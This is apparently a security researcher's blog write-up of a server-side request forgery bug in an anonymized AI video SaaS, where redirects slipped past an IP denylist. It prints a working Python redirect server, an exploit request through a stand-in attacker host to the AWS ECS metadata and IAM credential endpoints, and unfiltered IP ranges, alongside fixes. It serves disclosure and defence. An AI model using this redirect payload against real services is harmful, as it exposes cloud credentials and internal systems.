HighSSRF· 4 min read

The Filter Checked the Wrong URL

A server-side URL fetcher blocked the AWS metadata IP on the way in — but never checked where its own redirects were taking it.

Target anonymized · an AI video-generation SaaS

Every SaaS that lets you "import from a URL" is quietly running a little browser on its own servers. You hand it a link, it fetches the page, and it hands you back the contents. On an AI video-generation SaaS I was poking at — the kind where you paste an article and it becomes a talking-head video — I found exactly that: a fetchUrlContent endpoint that took a URL, grabbed it server-side, and returned the body. My favorite kind of feature, because "the server will fetch anything you tell it to" is one letter away from "the server will fetch things it shouldn't."

The spark

The first thing I do with any server-side fetcher is point it at the front door of the cloud: the link-local metadata address. This platform ran on AWS ECS, so I aimed straight at 169.254.170.2, the ECS task-metadata endpoint.

{"url":"http://169.254.170.2/v2/metadata","workspaceId":"<WS>"}

422 — "has ip address that is in denied IP ranges".

Good. They'd done their homework. There was a denylist, and it knew about link-local. Most people stop here and write "SSRF protection present, not exploitable." But that error told me something more interesting than no: it told me they were validating the string I sent. Which raised the obvious question — what happens after they validate it?

Digging in

A URL fetcher validates the URL you hand it. But the URL you hand it is not necessarily the URL it ends up talking to. HTTP has this wonderful feature called the redirect: you ask for https://harmless.example/thing, the server replies 302, actually go over here, and a well-behaved client dutifully follows.

So the real question was: does the denylist get re-applied to the redirect target, or only to the URL I typed in the box?

I stood up a tiny redirector — a dozen lines of Python that answers any request with a 302 to wherever I point it — exposed it over a tunnel, and aimed the fetcher at that instead of at the metadata IP directly.

# redirector.py — /r?to=<target> → 302 Location: <target>
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        to = parse_qs(urlparse(self.path).query).get("to", [""])[0]
        self.send_response(302)
        self.send_header("Location", to)
        self.end_headers()

HTTPServer(("0.0.0.0", 8000), H).serve_forever()

A dead end first, though. My early attempts pointed the redirect at 10.0.0.1 and 169.254.x and came back with "URL unavailable". For a moment I thought the filter was re-running after all. Then I read the error more carefully. It wasn't "denied IP ranges" — the denylist message. It was a connection-level failure. That difference mattered enormously: the server wasn't refusing to talk to link-local, it was trying, and failing on a route that simply didn't exist from that host. The denylist wasn't in the loop on the redirect hop at all. I just needed a link-local target that actually answered.

169.254.170.2 answers.

The exploit

Same request as step one, except the URL now points at my redirector, which bounces it to the forbidden address:

POST /api/fetchUrlContent HTTP/1.1
Host: api.example.com
Authorization: <free-account-token>
Content-Type: application/json

{"url":"https://redirector.attacker.example/r?to=http://169.254.170.2/v2/metadata",
 "workspaceId":"<WS>"}

200 OK. And the body was live ECS task metadata — AWS account ID, region, cluster name, task family and revision, the private ECR image and its digest, the container's internal VPC IP (10.x.x.x), right down to the observability sidecar. The denylist that had so confidently returned 422 a minute earlier was simply not there once a redirect was involved.

The filter checked the URL I submitted. The server fetched the URL it was redirected to. Those are two different URLs — and only the first one was ever inspected.

From there it was the well-worn path. Swap the target for http://localhost:8000/openapi.json and the platform handed me the full internal OpenAPI spec of a service that was never meant to face the internet. Swap it for http://169.254.170.2/v2/credentials/ and the IAM task-role credential endpoint answered: {"code":"NoIdInRequest"}. It wanted a per-task credential ID; supply that and you're holding the container's IAM role. That is the exact staircase behind the well-known Capital One breach: SSRF → metadata → role credentials → the account's data.

I did all of this with a free, self-service account token and my own workspace ID. Effectively unauthenticated.

(Worth noting for defense-in-depth: several ranges sailed past the filter even on direct input — 100.64.0.0/10 CGNAT, 192.0.0.0/24, 198.18.0.0/15, 192.88.99.0/24. A denylist is only ever as good as the blind spots it doesn't know it has.)

Impact

A free, effectively unauthenticated user gets server-side read access to AWS internal infrastructure from a production host: full task metadata (account, region, cluster, image digest, internal IP), reach into internal-only HTTP services, and a live, responding IAM credential endpoint. That last one is the whole game — it's the difference between "an information leak" and "one artifact away from cloud credentials and lateral movement inside the account." Same class, same blast radius as the breach everyone cites in their threat models.

The fix

Stop validating the string and start validating the connection. Concretely:

  • Re-apply the denylist to every hop, including each redirect target — or, simpler and safer, disable redirect-following entirely in a server-side fetcher.
  • Pin the resolved IP and connect to exactly that address. This closes the redirect bypass and DNS rebinding in one move.
  • Use an allowlist, not a denylist. You cannot enumerate every reserved, CGNAT, and benchmarking range you need to block, and the misses are exactly where SSRF lives.
  • Least-privilege the platform. Enforce IMDSv2, scope the task role to nothing, and add an egress firewall so the fetcher physically cannot route to 169.254.0.0/16 or RFC1918. Then a filter miss is an inconvenience, not a credential theft.
ssrfaws-metadataredirect-bypassecscloud-security

All identifiers, targets and payloads in this post are anonymized or defanged. Findings were reported and resolved through responsible disclosure.